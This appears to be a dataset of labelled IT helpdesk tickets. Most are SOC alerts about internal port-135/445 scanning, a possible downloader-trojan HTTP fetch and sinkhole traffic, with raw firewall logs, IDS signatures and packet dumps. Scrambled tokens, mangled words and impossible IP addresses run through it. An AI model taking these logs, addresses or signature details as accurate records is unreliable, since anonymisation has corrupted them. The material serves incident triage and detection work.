07/18/2016 r1 _x000D_ +extended file attributes and signatures: 07/26/2016 r2 _x000D_ +symantec permitted applications list: 08/08/2016 r3 _x000D_ +_x000D_ +=========================_x000D_ +incident overview_x000D_ +=========================_x000D_ +we have detected at least 225 occurrences of your firewall company-internal-asa.company.com-1/18.79.63.203 dropping traffic sourcing from HostName_1270/78.83.16.293 and destined to port 135 of one or more destination devices. this activity may indicate one of the following:_x000D_ + 1. an infection on this host_x000D_ + 2. a misconfigured firewall_x000D_ + 3. a misconfigured host_x000D_ + 4. port scan (authorized or unauthorized)_x000D_ +_x000D_ +we are escalating this incident to you via a high priority ticket and a phone call per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . _x000D_ +_x000D_ +1) ticket only escalation for these alerts where the traffic was blocked (explicit notification via a medium priority ticket (no phone call))_x000D_ +2) automatically resolve these alerts where the traffic was blocked to the portal (no explicit notification but events will be available for reporting purposes in the portal)_x000D_ +_x000D_ +sincerely,_x000D_ +dell secureworks soc_x000D_ +_x000D_ +=========================_x000D_ +technical details_x000D_ +=========================_x000D_ +historically, there have been various worms/malware that have used ports 135, 137, 138, 139, and 445 to propagate. examples include:_x000D_ +-w32.blaster.worm/msblast/lovsan _x000D_ +-w32.welchia/nachi_x000D_ +-w32.reatle_x000D_ +_x000D_ +port 135 - microsoft epmap (end point mapper), also known as dce/rpc locator service_x000D_ +_x000D_ +port 137 - netbios netbios name service_x000D_ +_x000D_ +port 138 - netbios netbios datagramdnty service_x000D_ +_x000D_ +port 139 - netbios netbios session service_x000D_ +_x000D_ +port 445 - microsoft-ds smb file sharing_x000D_ +_x000D_ +additional information on these ports and best practices can be found at the following sites:_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +=========================_x000D_ +references_x000D_ +=========================_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +=========================_x000D_ +event data_x000D_ +=========================_x000D_ +related events: _x000D_ +____________________________________________________________________________x000D_ +event id: 27927493_x000D_ +event summary: internal outbreak for 135/tcp_x000D_ +log time: 2016-07-24 at 20:21:46_x000D_ +source ip: 78.83.16.293_x000D_ +source hostname: HostName_1270_x000D_ +destination hostname: _x000D_ +device ip: 18.79.63.203_x000D_ +device name: company-internal-asa.company.com-1_x000D_ +event extra data:_x000D_ +inspectorruleid = 186739_x000D_ +sherlockruleid = 537074_x000D_ +cvss = -1_x000D_ +ontologyid = 200020003203009144_x000D_ +srchostname = HostName_1270_x000D_ +eventtypeid = 200020003203009044_x000D_ +ctainstanceid = 0_x000D_ +foreseeglobalmodelassessmt = unknown_x000D_ +irreceivedtime = 1469392610163_x000D_ +foreseemalprobglobalmodel = 0.6162829_x000D_ +inspectoreventid = 018319585_x000D_ +eventtypepriority = 1_x000D_ +proto = tcp_x000D_ +dstport = 135_x000D_ +action = blocked_x000D_ +ileatdatacenter = true_x000D_ +foreseemaliciouscomment = globalmodelversion:794598;null or empty model found;_x000D_ +foreseeinternalip = 78.83.16.293_x000D_ +logtimestamp = 2570402817_x000D_ +agentid = 103611_x000D_ +foreseeconndirection = internal_x000D_ +srcassetofinterest = 4_x000D_ +srcport = 59908_x000D_ +_x000D_ +_x000D_ +occurrence count: 225_x000D_ +event count: 2_x000D_ +_x000D_ +event detail:_x000D_ +jul 24 20:21:46 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/59908 to 192.168.2.123/135 flags syn on interface inside_x000D_ +jul 24 20:21:52 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59920 dst outside:192.168.43.161/135 by access-group ""acl_inside"" [0xed29b7f9, 0x0]_x000D_ +jul 24 20:21:55 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59927 dst outside:192.168.0.146/135 by access-group ""acl_inside"" [0xed29b7f9, 0x0]_x000D_ +jul 24 20:21:56 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59929 dst outside:192.168.0.16/135 by access-group ""acl_inside"" [0xed29b7f9, 0x0]_x000D_ +jul 24 20:22:02 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/59949 to 192.168.2.21/135 flags syn on interface inside_x000D_ +jul 24 20:22:04 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59952 dst outside:192.168.0.23/135 by access-group ""acl_inside"" [0xed29b7f9, 0x0]_x000D_ +jul 24 20:22:3sartlgeo lhqksbdx8.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60005 dst outside:10.10.11.26/135 by access-group ""acl_inside"" [0xed29b7f9, 0x0]_x000D_ +jul 24 20:22:35 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60011 dst outside:192.168.0.5/135 by access-group ""acl_inside"" [0xed29b7f9, 0x0]_x000D_ +jul 24 20:22:44 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/60018 to 192.168.2.19/135 flags syn on interface inside_x000D_ +jul 24 20:23:09 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60066 dst outside:172.40.1.98/135 by access-group ""acl_inside"" [0xed29b7f9, 0x0]_x000D_ +jul 24 20:23:1sartlgeo lhqksbdx8.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60070 dst outside:192.168.0.39/135 by access-group ""acl_inside"" [0xed29b7f9, 0x0]_x000D_ +jul 24 20:23:15 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/60083 to 192.168.2.150/135 flags syn on interface inside_x000D_ +jul 24 20:23:16 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60086 dst outside:192.168.178.139/135 by access-group ""acl_inside"" [0xed29b7f9, 0x0]_x000D_ +jul 24 20:23:19 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60095 dst outside:192.168.0.101/135 by access-group ""acl_inside"" [0xed29b7f9, 0x0]_x000D_ +jul 24 20:23:26 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60116 dst outside:192.168.0.2/135 by access-group ""acl_inside"" [0xed29b7f9, 0x0]_x000D_ +jul 24 20:23:26 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60117 dst outside:192.168.0.22/135 by access-group ""acl_inside"" [0xed29b7f9, 0x0]_x000D_ +_x000D_ +_x000D_ +_x000D_ +____________________________________________________________________________x000D_ +event id: 27927405_x000D_ +event summary: internal outbreak for 445/tcp_x000D_ +log time: 2016-07-24 at 20:21:46_x000D_ +source ip: 78.83.16.293_x000D_ +source hostname: HostName_1270_x000D_ +destination hostname: _x000D_ +device ip: 18.79.63.203_x000D_ +device name: company-internal-asa.company.com-1_x000D_ +event extra data:_x000D_ +inspectorruleid = 186739_x000D_ +sherlockruleid = 537074_x000D_ +cvss = -1_x000D_ +ontologyid = 200020003203009144_x000D_ +srchostname = HostName_1270_x000D_ +eventtypeid = 200020003203009044_x000D_ +ctainstanceid = 0_x000D_ +foreseeglobalmodelassessmt = unknown_x000D_ +irreceivedtime = 1469392610163_x000D_ +foreseemalprobglobalmodel = 0.6162829_x000D_ +inspectoreventid = 018319585_x000D_ +eventtypepriority = 1_x000D_ +proto = tcp_x000D_ +dstport = 135_x000D_ +action = blocked_x000D_ +ileatdatacenter = true_x000D_ +foreseemaliciouscomment = globalmodelversion:794598;null or empty model found;_x000D_ +foreseeinternalip = 78.83.16.293_x000D_ +logtimestamp = 2570402817_x000D_ +agentid = 103611_x000D_ +foreseeconndirection = internal_x000D_ +srcassetofinterest = 4_x000D_ +srcport = 59908_x000D_ +_x000D_ +_x000D_ +occurrence count: 225_x000D_ +event count: 2_x000D_ +_x000D_ +event detail:_x000D_ +jul 24 20:21:53 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59925 dst outside:192.168.43.161/445 by access-group ""acl_inside"" [0xac2286bc, 0x0]_x000D_ +jul 24 20:21:57 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59931 dst outside:192.168.0.146/445 by access-group ""acl_inside"" [0xac2286bc, 0x0]_x000D_ +jul 24 20:21:58 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59936 dst outside:192.168.0.16/445 by access-group ""acl_inside"" [0xac2286bc, 0x0]_x000D_ +jul 24 20:22:06 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59955 dst outside:192.168.0.23/445 by access-group ""acl_inside"" [0xac2286bc, 0x0]_x000D_ +jul 24 20:22:10 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/59956 to 192.168.2.123/445 flags syn on interface inside_x000D_ +jul 24 20:22:23 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/59986 to 192.168.2.21/445 flags syn on interface inside_x000D_ +jul 24 20:22:32 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60008 dst outside:10.10.11.26/445 by access-group ""acl_inside"" [0xac2286bc, 0x0]_x000D_ +jul 24 20:22:37 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60012 dst outside:192.168.0.5/445 by access-group ""acl_inside"" [0xac2286bc, 0x0]_x000D_ +jul 24 20:23:05 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/60056 to 192.168.2.19/445 flags syn on interface inside_x000D_ +jul 24 20:23:1sartlgeo lhqksbdx8.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60069 dst outside:172.40.1.98/445 by access-group ""acl_inside"" [0xac2286bc, 0x0]_x000D_ +jul 24 20:23:12 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60074 dst outside:192.168.0.39/445 by access-group ""acl_inside"" [0xac2286bc, 0x0]_x000D_ +jul 24 20:23:18 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60090 dst outside:192.168.178.139/445 by access-group ""acl_inside"" [0xac2286bc, 0x0]_x000D_ +jul 24 20:23:2sartlgeo lhqksbdx8.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60099 dst outside:192.168.0.101/445 by access-group ""acl_inside"" [0xac2286bc, 0x0]_x000D_ +jul 24 20:23:27 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60122 dst outside:192.168.0.2/445 by access-group ""acl_inside"" [0xac2286bc, 0x0]_x000D_ +jul 24 20:23:27 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60123 dst outside:192.168.0.22/445 by access-group ""acl_inside"" [0xac2286bc, 0x0]_x000D_ +jul 24 20:23:36 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/60135 to 192.168.2.150/445 flags syn on interface inside",GRP_12 +ess password reset ess password reset,GRP_0 +"add printer prtqi2019 on HostName_1332 add printer prtqi2019 on HostName_1332 with 32 and 64 bit drivers._x000D_ +_x000D_ +model - hp laser jet 4350dn_x000D_ +dynamic ip address - _x000D_ +fqdn: prtqi2019_x000D_ +short name: SID_99_x000D_ +print server: \\HostName_1332",GRP_0 +"security incidents - (in33536629) : possible trojan infection - host: 10.44.94.214 source ip :10.44.94.214_x000D_ +dest ip : 183.91.33.90_x000D_ +system name :apul8811851_x000D_ +user name: jenfrgryui lu_x000D_ +location : singapore _x000D_ +sep , sms status :given below_x000D_ +field sales user ( yes / no) : no_x000D_ +dsw event log: see below_x000D_ +--------------------------------------------------------------_x000D_ +=========================_x000D_ + event details_x000D_ +=========================_x000D_ +event detail(s):_x000D_ +_x000D_ +event_id 91201861:_x000D_ +[**] [1:21130977:10] 29866 vid22518 bare http get executable from ip address (possible downloader trojan) [**]_x000D_ +[classification: none] [priority: 2] [action: accept_passive] [impact_flag: 0] [impact: 0] [blocked: 2] [vlan: 0] [mpls label: 0] [pad2: 1]_x000D_ +[sensor id: 606873][event id: 722700][time: 2581693432.277667]_x000D_ +[xref => vid, 22518]_x000D_ +[src ip: 10.44.94.214][dst ip: 183.91.33.90][sport/itype: 64193][dport/icode: 80][proto: 6]_x000D_ +08/07/2016-15:05:21.277667 10.44.94.214:64193 -> 183.91.33.90:80_x000D_ +tcp ttl:127 tos:0x0 id:13388 iplen:20 dgmlen:187 df_x000D_ +***ap*** seq: 0x64eb7c89 ack: 0xe070c15e win: 0x40b0 tcplen: 20_x000D_ +==pcap s==_x000D_ +=0c=00=00=001n=a7w=a3<=04=00=bb=00=00=00=bb=00=00=00e=00=00=bb4l@=00=7f=06=859=0a,^=d6=b7[!z=fa=c1=00pd=eb|=89=e0p=c1^p=18@=b0=f7=c3=00=00get /pro.pz1.3dn.ie.sogou.com/sogou_explorer_5.1.7.15323_4492.exe http/1.1=0d=0aconnection: keep-alive=0d=0acache-control: no-cache=0d=0ahost: 183.91.33.90=0d=0a=0d=0a_x000D_ +==pcap e==_x000D_ +_x000D_ +_x000D_ +[ex http_uri 9: /pro.pz1.3dn.ie.sogou.com/sogou_explorer_5.1.7.15323_4492.exe]_x000D_ +_x000D_ +[ex http_hostname 10: 183.91.33.90]_x000D_ +_x000D_ +[o:security]_x000D_ +_x000D_ +[correlation_data]_x000D_ +aug 7 10:38:22 46.45.62.5146 dhcpd[9675]: dhcpack on 10.44.94.214 to 40:04:b1:49:b3:75 (apul8811851) via eth2 relay 10.44.94.1 lease-duration 43200_x000D_ +_x000D_ +refererproxycorrelationurl : null_x000D_ +ileatdatacenter : true_x000D_ +host : 183.91.33.90_x000D_ +cvss : -1_x000D_ +foreseeconndirection : outgoing_x000D_ +foreseeexternalip : 183.91.33.90_x000D_ +eventtypeid : 200020003203113798_x000D_ +netacuity_destination_isp : no.31 jin-rong street_x000D_ +srchostname : apul8811851_x000D_ +logtimestamp : 2581693432_x000D_ +urlhost : 183.91.33.90_x000D_ +proto : tcp_x000D_ +urlfullpath : /pro.pz1.3dn.ie.sogou.com/sogou_explorer_5.1.7.15323_4492.exe_x000D_ +unique_event_hash : 854336076_x000D_ +device_network_type : internal_x000D_ +srcport : 64193_x000D_ +urlcorrelation : /pro.pz1.3dn.ie.sogou.com/sogou_explorer_5.1.7.15323_4492.exe_x000D_ +dstip : 183.91.33.90_x000D_ +httpversion : http/1.1_x000D_ +url : 183.91.33.90/pro.pz1.3dn.ie.sogou.com/sogou_explorer_5.1.7.15323_4492.exe_x000D_ +vendorpriority : 2_x000D_ +httpmethod : get_x000D_ +ontologyid : 200020003203728796_x000D_ +vendorreference : vid, 22518_x000D_ +eventtypepriority : 3_x000D_ +devip : 80.68.49.4169_x000D_ +source_network_type : internal_x000D_ +inspectorruleid : 277082_x000D_ +lowercaseurlcorrelation : /pro.pz1.3dn.ie.sogou.com/sogou_explorer_5.1.7.15323_4492.exe_x000D_ +sherlockruleid : 690393_x000D_ +inlineaction : 2_x000D_ +urlpath : /pro.pz1.3dn.ie.sogou.com/sogou_explorer_5.1.7.15323_4492.exe_x000D_ +srcmacaddress : 40:04:b1:49:b3:75_x000D_ +inspectoreventid : 876354922_x000D_ +srcip : 10.44.94.214_x000D_ +globalproxycorrelationurl : explorer15_x000D_ +tcpflags : ***ap***_x000D_ +vendoreventid : 722700_x000D_ +foreseemaliciouscomment : null or empty model found;evaluationmodels->ngm:0.7587:0.0084;_x000D_ +foreseeinternalip : 10.44.94.214_x000D_ +foreseedstipgeo : hong kong,hkg_x000D_ +dstport : 80_x000D_ +device_id : 2559974_x000D_ +action : not blocked_x000D_ +event_summary : 29866 vid22518 bare http get executable from ip address (possible downloader trojan)_x000D_ +irreceivedtime : 1470582706714_x000D_ +vendorversion : 7_x000D_ +netacuity_destination_organization : apacnet hongkong region network_x000D_ +agentid : 102835_x000D_ +ctainstanceid : 0",GRP_30 +"printer issue +name:seghyurghei +language: +browser:microsoft internet explorer +email:mfeyouli.ndobtzpw@gmail.com +customer number: +telephone: +summary:trying to connect a printer",GRP_0 +"security incidents - ( dsw #in33407676 ) : traffic from sinkhole domain to ( lpawx210968sf / 61.01.52.02617 ) source ip : 61.01.52.02617_x000D_ +system name : lpawx210968sf_x000D_ +user name: n/a_x000D_ +location : indaituba_x000D_ +sep , sms status : n/a_x000D_ +field sales user ( yes / no) : no_x000D_ +dsw event log: see below_x000D_ +_x000D_ +**_x000D_ +_x000D_ +=========================_x000D_ +incident overview_x000D_ +=========================_x000D_ +we are seeing your 10.32.100.17/isensor03.company.com device generating '51793 vid36000 server response with anubis sinkhole cookies set - probable infected asset' alerts for traffic (not blocked) from port 80/tcp of 195.38.137.100 to port 3720/tcp of your lpawx210968sf/61.01.52.02617 device indicating that the host is most likely infected with malware. _x000D_ +_x000D_ +this return traffic indicates that lpawx210968sf/61.01.52.02617 has most likely attempted to visit a domain name which is being sinkholed. dns sinkholes are dns servers that give out false information in order to prevent the use of the domain for which ip address resolution has been requested. sinkhole traffic is a possible indicator of an infected computer that is reaching out to a controller that has been taken over by a law enforcement or research organization as part of a malware mitigation effort. traffic to a sinkhole should be examined for characteristics of automated activity. in some cases, an administrator may be curious about a particular domain and browse to it, triggering the signature. repeated automated requests to a sinkhole, however, are a clear indication of a malware infection._x000D_ +_x000D_ +we are escalating this incident to you via a high priority ticket per our default escalation policies. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . _x000D_ +1) ticket only escalation for sinkhole domain alerts (explicit notification via a medium priority ticket (no phone call))_x000D_ +2) auto-resolve sinkhole domain alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal)_x000D_ +_x000D_ +sincerely,_x000D_ +secureworks soc_x000D_ +_x000D_ +_x000D_ +=========================_x000D_ +technical details_x000D_ +=========================_x000D_ +the domain name system (dns) is a hierarchical naming system for any resource connected to the internet or a private network which has the primary purpose of associating various information with domain names assigned to each of the participating entities. it is primarily used for translating domain names to the numerirtcal ip addresses for the purpose of locating service and devices on a network. _x000D_ +_x000D_ +the domain name system distributes the responsibility of assigning domain names and mapping those names to ip addresses by designating authoritative name servers for each domain. authoritative name servers are assigned to be responsible for their supported domains, and may delegate authority over subdomains to other name servers. the domain name system also specifies the technical functionality of this database service. it defines the dns protocol, a detailed specification of the data structures and data communication exchanges used in dns, as part of the internet protocol suite._x000D_ +_x000D_ +dns sinkholes are dns servers that give out incorrect information in order to prevent the use of the domain name for which ip address resolution is being attempted. when a client requests to resolve the address of a sinkholed hole or domain, the sinkhole returns a non-routable address or any address except for the real address. this germanytially denies the client a connection to the target host. using this method, compromised clients can easily be found using sinkhole logs. another method of detecting compromised hosts is during operations in which servers being used for c2 (command and control) purposes are taken over by law enforcement as part of a malware mitigation effort. traffic to a sinkhole should be examined for characteristics of automated activity. in some cases, an administrator may be curious about a particular domain and browse to it, triggering the signature. repeated automated requests to a sinkhole are a clear indication of infection by a trojan of some sort._x000D_ +_x000D_ +connections to sinkholes may seem somewhat benign, but the ramdntyifications certainly include information leakage to some extent. although sinkhole operators are unlikely to use any personally identifiable information they may capture from a trojan's communication, it may become public knowledge that ""company x is infected with y"", which may lead to reputational damage._x000D_ +_x000D_ +additionally, some sinkholes are feeding ip addresses of victims to beshryulists, which may impede access to certain services, like sending email. finally, some trojans may connect to multiple controller domains/hostnames, and even though some of them may be sinkholed, there may be others that are not, leading to the possibility of remote code execution or information leakage to malicious parties in some cases. _x000D_ +_x000D_ +_x000D_ +=========================_x000D_ +references_x000D_ +=========================_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +=========================_x000D_ +event data_x000D_ +=========================_x000D_ +related events: _x000D_ +____________________________________________________________________________x000D_ +event id: 303133902_x000D_ +event summary: 51793 vid36000 server response with anubis sinkhole cookies set - probable infected asset_x000D_ +log time: 2016-08-04 at 10:59:36_x000D_ +source ip: 195.38.137.100_x000D_ +destination ip: 61.01.52.02617_x000D_ +destination hostname: lpawx210968sf_x000D_ +device ip: 10.32.100.17_x000D_ +device name: isensor03.company.com_x000D_ +event extra data:_x000D_ +sherlockruleid = 699417_x000D_ +cvss = -1_x000D_ +ctainstanceid = 0_x000D_ +irreceivedtime = 1470308771682_x000D_ +httpstatuscode = 302_x000D_ +inspectoreventid = 028504841_x000D_ +eventtypepriority = 4_x000D_ +dstassetofinterest = 416_x000D_ +globalproxycorrelationurl = null_x000D_ +foreseeinternalip = 61.01.52.02617_x000D_ +logtimestamp = 2582520598_x000D_ +foreseeconndirection = incoming_x000D_ +foreseeexternalip = 195.38.137.100_x000D_ +inlineaction = 2_x000D_ +ontologyid = 200020003203753900_x000D_ +foreseesrcipgeo = franhtyufurt am main,deu_x000D_ +eventtypeid = 200020003203560456_x000D_ +dsthostname = lpawx210968sf_x000D_ +vendoreventid = 271147_x000D_ +vendorpriority = 2_x000D_ +tcpflags = ***ap***_x000D_ +proto = tcp_x000D_ +dstport = 3720_x000D_ +action = not blocked_x000D_ +ileatdatacenter = true_x000D_ +foreseemaliciouscomment = null or empty model found;evaluationmodels->ngm:0.1987:0.004;_x000D_ +httpcontenttype = text/html_x000D_ +vendorversion = 7_x000D_ +refererproxycorrelationurl = null_x000D_ +agentid = 102805_x000D_ +srcport = 80_x000D_ +_x000D_ +_x000D_ +occurrence count: 7_x000D_ +event count: 1_x000D_ +_x000D_ +event detail:_x000D_ +[**] [1:21162804:2] 51793 vid36000 server response with anubis sinkhole cookies set - probable infected asset [**]_x000D_ +[classification: none] [priority: 2] [action: accept_passive] [impact_flag: 0] [impact: 0] [blocked: 2] [vlan: 0] [mpls label: 0] [pad2: 1]_x000D_ +[sensor id: 602982][event id: 271147][time: 2582520598.52167]_x000D_ +[src ip: 195.38.137.100][dst ip: 61.01.52.02617][sport/itype: 80][dport/icode: 3720][proto: 6]_x000D_ +08/04/2016-10:59:36.052167 195.38.137.100:80 -> 61.01.52.02617:3720_x000D_ +tcp ttl:45 tos:0x0 id:52866 iplen:20 dgmlen:386 df_x000D_ +***ap*** seq: 0xf1729be0 ack: 0xcc94106 win: 0x687f tcplen: 20_x000D_ +==pcap 1==_x000D_ +_x000D_ +_x000D_ +[ex http_uri 9: /]_x000D_ +_x000D_ +[ex http_hostname 10: futureinterest.org]_x000D_ +_x000D_ +[o:security]_x000D_ +_x000D_ +ascii packet(s):_x000D_ +==pcap 1 ascii s==_x000D_ +.......w............e.....@.-..c.&.d.,j..p...r....a.p.h.....http/1.1.302.moved.temporarily..server:.nginx..date:.thu,.04.aug.2016.10:59:36.gmt..content-type:.text/html..transfer-encoding:.chunked..connection:.close..location:.|12.161.199.50|2582520598|2582520598|0|1|0..set-cookie:.snkz=12.161.199.50....0...._x000D_ +==pcap 1 ascii e==_x000D_ +_x000D_ +hex packet(s):_x000D_ +==pcap 1 hex s==_x000D_ +000000 0c00 0000 1820 a357 c7cb 0000 8201 0000 .......w........_x000D_ +000010 8201 0000 4500 0182 ce82 4000 2d06 dc63 ....e.....@.-..c_x000D_ +000020 c326 8964 0a2c 4ad9 0050 0e88 f172 9be0 .&.d.,j..p...r.._x000D_ +000030 0cc9 4106 5018 687f e100 0000 4854 5450 ..a.p.h.....http_x000D_ +000040 2f31 2e31 2033 3032 204d 6f76 6564 2054 /1.1.302.moved.t_x000D_ +000050 656d 706f 7261 7269 6c79 0d0a 5365 7276 emporarily..serv_x000D_ +000060 6572 3a20 6e67 696e 780d 0a44 6174 653a er:.nginx..date:_x000D_ +000070 2054 6875 2c20 3034 2041 7567 2032 3031 .thu,.04.aug.201_x000D_ +000080 3620 3130 3a35 393a 3336 2047 4d54 0d0a 6.10:59:36.gmt.._x000D_ +000090 436f 6e74 656e 742d 5479 7065 3a20 7465 content-type:.te_x000D_ +0000a0 7874 2f68 746d 6c0d 0a54 7261 6e73 6665 xt/html..transfe_x000D_ +0000b0 722d 456e 636f 6469 6e67 3a20 6368 756e r-encoding:.chun_x000D_ +0000c0 6b65 640d 0a43 6f6e 6e65 6374 696f 6e3a ked..connection:_x000D_ +0000d0 2063 6c6f 7365 0d0a 4c6f 6361 7469 6f6e .close..location_x000D_ +0000e0 3a20 6874 7470 3a2f 2f73 736f 2e61 6e62 :._x000D_ +0000f0 7472 2e63 6f6d 2f64 6f6d 6169 6e2f 6675 tr.com/domain/fu_x000D_ +000100 7475 7265 696e 7465 7265 7374 2e6f 7267 tureinterest.org_x000D_ +000110 0d0a 5365 742d 436f 6f6b 6965 3a20 6274 ..set-cookie:.bt_x000D_ +000120 7374 3d66 6561 3834 3465 3066 3735 3966 st=fea844e0f759f_x000D_ +000130 6430 3931 3065 3566 3865 3463 6266 3665 d0910e5f8e4cbf6e_x000D_ +000140 6430 397c 3132 2e31 3631 2e31 3939 2e35 d09|12.161.199.5_x000D_ +000150 307c 3134 3730 3330 3833 3736 7c31 3437 0|2582520598|147_x000D_ +000160 3033 3038 3337 367c 307c 317c 300d 0a53 1419487|0|1|0..s_x000D_ +000170 6574 2d43 6f6f 6b69 653a 2073 6e6b 7a3d et-cookie:.snkz=_x000D_ +000180 3132 2e31 3631 2e31 3939 2e35 300d 0a0d 12.161.199.50..._x000D_ +000190 0a30 0d0a 0d0a .0...._x000D_ +==pcap 1 hex e==",GRP_2 +"HostName_1015: average (4 samples) disk free on c:\ is now 15%, which is below the warning threshold (15%). HostName_1015: average (4 samples) disk free on c:\ is now 15%, which is below the warning threshold (15%). out of total size 100.5 gb",GRP_12 +"as per inc1530161::security incidents - ( in33490582 ) : suspicious ms-rpc/ms-ds/netbios activity - HostName_17-new _x000D_ +from: gzhapcld fdigznbk _x000D_ +sent: wednesday, august 10, 2016 12:28 am_x000D_ +to: bev loughner; ghiklyop nikszpeu; thoyhts brthyrtiv; tiyhum kuyiomar_x000D_ +cc: gdhyrts muggftyali ; qfrntose ivnhumzjalakrisyuhnyrtn; nyrjkctu tbhkenlo; ugyothfz ugrmkdhx; kathght shfhyw; suhtnhdyio psfshytd; bhayhtrathramdnty mamilujli_x000D_ +subject: inc1530161::security incidents - ( in33490582 ) : suspicious ms-rpc/ms-ds/netbios activity - HostName_17-new_x000D_ +_x000D_ +hello amerirtcas pc support,_x000D_ +_x000D_ +we have detected at least 226 occurrences of your firewall att-singapore-asa.company.com-1/54.96.80.216 dropping traffic sourcing from HostName_17-new/29.26.13.3095 and destined to port 135 of one or more destination devices. this activity may indicate one of the following:_x000D_ +1. an infection on this host_x000D_ +2. a misconfigured firewall_x000D_ +3. a misconfigured host_x000D_ +4. port scan (authorized or unauthorized)_x000D_ +_x000D_ +we have created a ticketing_tool ticket and assigned it to amerirtcas pc services. inc1530161_x000D_ +=========================_x000D_ +technical details_x000D_ +=========================_x000D_ +historically, there have been various worms/malware that have used ports 135, 137, 138, 139, and 445 to propagate. examples include:_x000D_ +-w32.blaster.worm/msblast/lovsan _x000D_ +-w32.welchia/nachi_x000D_ +-w32.reatle_x000D_ +_x000D_ +port 135 - microsoft epmap (end point mapper), also known as dce/rpc locator service_x000D_ +_x000D_ +port 137 - netbios netbios name service_x000D_ +_x000D_ +port 138 - netbios netbios datagramdnty service_x000D_ +_x000D_ +port 139 - netbios netbios session service_x000D_ +_x000D_ +port 445 - microsoft-ds smb file sharing_x000D_ +_x000D_ +=========================_x000D_ +event data_x000D_ +=========================_x000D_ +related events: _x000D_ +____________________________________________________________________________x000D_ +event id: 80975479_x000D_ +event summary: internal outbreak for 135/tcp_x000D_ +log time: 2016-08-03 at 17:48:46_x000D_ +source ip: 29.26.13.3095_x000D_ +source hostname: HostName_17-new_x000D_ +destination hostname: lmxl9516628_x000D_ +device ip: 54.96.80.216_x000D_ +device name: att-singapore-asa.company.com-1_x000D_ +event extra data:_x000D_ +inspectorruleid = 186739_x000D_ +sherlockruleid = 537074_x000D_ +cvss = -1_x000D_ +ontologyid = 200020003203009162_x000D_ +srchostname = HostName_17-new_x000D_ +eventtypeid = 200020003203009062_x000D_ +dsthostname = lmxl9516628_x000D_ +ctainstanceid = 0_x000D_ +irreceivedtime = 1470247430401_x000D_ +inspectoreventid = 874753956_x000D_ +proto = tcp_x000D_ +eventtypepriority = 1_x000D_ +dstport = 135_x000D_ +action = blocked_x000D_ +ileatdatacenter = true_x000D_ +foreseemaliciouscomment = null or empty model found;evaluationmodels->ngm:0.8019:0.0022;_x000D_ +foreseeinternalip = 29.26.13.3095_x000D_ +logtimestamp = 2581357637_x000D_ +agentid = 103955_x000D_ +foreseeconndirection = internal_x000D_ +srcassetofinterest = 264_x000D_ +srcport = 56840_x000D_ +_x000D_ +_x000D_ +occurrence count: 226_x000D_ +event count: 2_x000D_ +_x000D_ +event detail:_x000D_ +aug 3 17:48:46 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56840 dst outside:192.168.0.5/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:48:54 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56870 dst outside:192.168.254.16/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:48:58 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56885 dst outside:192.168.86.169/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:00 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56899 dst outside:192.168.1.70/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:03 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56924 dst outside:192.168.6.154/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:09 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56952 dst outside:192.168.54.65/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ 